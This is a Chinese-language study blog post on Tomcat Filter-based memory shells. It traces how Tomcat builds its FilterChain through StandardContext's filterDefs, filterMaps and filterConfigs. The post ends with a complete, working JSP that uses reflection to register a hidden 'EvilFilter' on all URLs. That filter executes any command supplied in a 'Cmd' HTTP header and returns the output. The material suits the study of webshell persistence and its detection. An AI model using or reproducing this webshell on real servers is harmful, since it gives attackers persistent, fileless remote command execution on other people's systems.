Filter内存马
前言
Filter的基础知识我这里就不写了,因为上一篇文章也写了的。这里就直接从一些知识点开始学
Tomcat Filter流程分析
首先写一个简单的demo
package org.example.servlet;
import jakarta.servlet.*;
import jakarta.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter(filterName = "filterdemo1", value = "/*")
public class filterDemo implements Filter {
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException {
System.out.println("First");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("after");
}
}记住一下,高版本不需要重写init和destory方法,低版本则需要。
在具体分析流程之前我们先介绍一下后面会遇到的几个类:(最后再来分析一下
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
debug过程我这里因为没有配源码,就拿X1师傅的截图了(后面会放reference)
先跟进到StandardWrapperValve
执行了 filterChain.doFilter 方法, 继续跟进
在 doFilter 内会检测 jvm 是否开启了安全模式, 然后继续执行 this.internalDoFilter 方法
internalDoFilter 会从 this.filters 数组中依次取出 filterConfig 对象, 然后通过 filterConfig.getFilter() 得到 Filter 实例, 最后调用其 doFilter 方法
这里我跳过了 tomcat 自带的 ws filter, 因此第二次得到的 Filter 就是之前编写的 TestFilter
然后就是这样子去调用doFilter的。
然后就是Filter chain
进来后可以看见通过ApplicationFilterFactory.creatFilterChain()来创建filterchain需要注意创建过程是动态的, 即我们每发起一次请求, tomcat 都会执行一遍 createFilterChain, 这也为后面内存马的植入做了铺垫
跟进创建方法
我们可以看见,在后面会判断是否有ApplicationFilterChain这个对象,有的话直接给req,没有的话就新建一个给req
然后从wrapper中获取StandardConext对象,并且调用FindFilterMaps来获取映射,name对应的urlpatterns。
最后遍历 filterMaps, 通过 filterMap.getFilterName() 从 context 中寻找对应的 FilterConfig 并且添加至 filterChain
所以关键点就在FindFilterchain和FilterConfig了。
FindFilterChain
然后跟进findFilterMaps
filterMaps 是 ContextFilterMaps 的实例, 后者相当于一个 Array
然后分析完就是addfilterMap和addfilterMapBefore可以往filterMaps中添加FilterMaps
然后注意一下有个ValidataFilterMap的方法
然后这里做了一个判断,走到FindfilterDef
本质也是一个 HashMap, 并且存在 addFilterDef 方法

FilterMap定义
可以看到内部有filterName和urlPattern属性,分别对应前面的getFilterNmae和@WebFilter注解中的urlpattens
findFilterConfig
接着再跟进 StandardContext 的 findFilterConfig 方法
filterConfigs 的本质也是 HashMap
然后在StandardContext中对其只有filterStart和filterStop两个方法。所以我们如果要去调用或者修改的话,就要利用反射去修改filterConfigs
我这里就不看具体怎么走的了吧。
综上, Filter 的加载流程如下
- 通过 ApplicationFilterFactory.createFilterChain() 创建 FilterChain
- 调用 StandardContext.findFilterMaps() 得到 filterMaps
- 遍历 filterMaps, 依次从 StandardContext 中用 filterMap.getFilterName() 获取对应的 filterConfig, 并将其放入 FilterChain
- 执行 FilterChain.doFilter() 并在内部调用 internalDoFilter 方法
- 依次执行 filterConfig.getFilter() 获取 Filter 实例, 并最终调用其 doFilter 方法
注入流程
在编写内存马之前, 我们先梳理一下之前出现的各种以 Filter 开头的对象
-
FilterMap: 存在 filterName 和 urlPatterns 属性, 对应 Filter 的名称和匹配规则
-
FilterConfig: 这里具体指 ApplicationFilterConfig, 存在 Filter 和 FilterDef 属性, 其中 Filter 在构造函数中通过 filterDef.getFilter() 取得
-
FilterDef: 存在 filter filterClass filterName 属性, 其中 filter 为被调用的 Filter 实例
然后是位于 StandardContext 中的以 filter 开头的属性
-
filterMaps: 本质为 Array, 存放 FilterMap
-
filterConfigs: 本质为 HashMap, key 为 filterMap 的 filterName, value 为对应的 FilterConfig
-
filterDefs: 本质为 HashMap, key 为 filterMap 的 filterName, value 为对应的 FilterDef
根据上面加载流程, 我们注入内存马的过程为
- 在 StandardContext 的 filterDefs 中添加 FilterDef (validateFilterMap 验证)
- 向 filterMaps 中添加 FilterMap
- 将对应的 FilterConfig (包含 FilterDef) 添加到 filterConfigs
内存马如下
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%
// 获取 StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctxField = servletContext.getClass().getDeclaredField("context");
appctxField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctxField.get(servletContext);
Field stdctxField = applicationContext.getClass().getDeclaredField("context");
stdctxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);
// 获取 FilterConfigs
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
// 编写 Filter
String filterName = "EvilFilter";
if (filterConfigs.get(filterName) == null){
// 这里使用了匿名类的形式来定义 Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
PrintWriter pw = servletResponse.getWriter();
String cmd = httpServletRequest.getHeader("Cmd");
if (cmd != null){
Process process = Runtime.getRuntime().exec(cmd);
InputStream input = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(input));
String line = null;
while ((line = br.readLine()) != null){
pw.write(line);
}
br.close();
input.close();
pw.write("\n");
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
// 创建 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// 添加 FilterDef
standardContext.addFilterDef(filterDef);
// 创建 FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 添加 FilterMap 到首位
standardContext.addFilterMapBefore(filterMap);
// 因为 ApplicationFilterConfig 的构造方法是不带 public 的, 即默认的作用域为 package, 所以我们需要通过反射来实例化该对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 添加 FilterConfig
filterConfigs.put(filterName, applicationFilterConfig);
out.print("inject success");
}
%>note
filterChain ApplicationFilterFactory.createFilterChain()->创建filterChain->createFilterChain()->获取filterChain放到req内->从wrapper获取StandardContext对象->findFilterMaps得到filterMaps->遍历filterMaps->filterMap.getFilterName()->FilterConfig添加至filterChain->然后走到上面的dofilter
doFilter->filterChain.doFilter->检测jvm安全模式->this.internalDoFilter方法->从this.filter数组中取出filter.config对象,然后通过filterConfig.getFilter()得到Filter实例,然后调用其doFilter方法。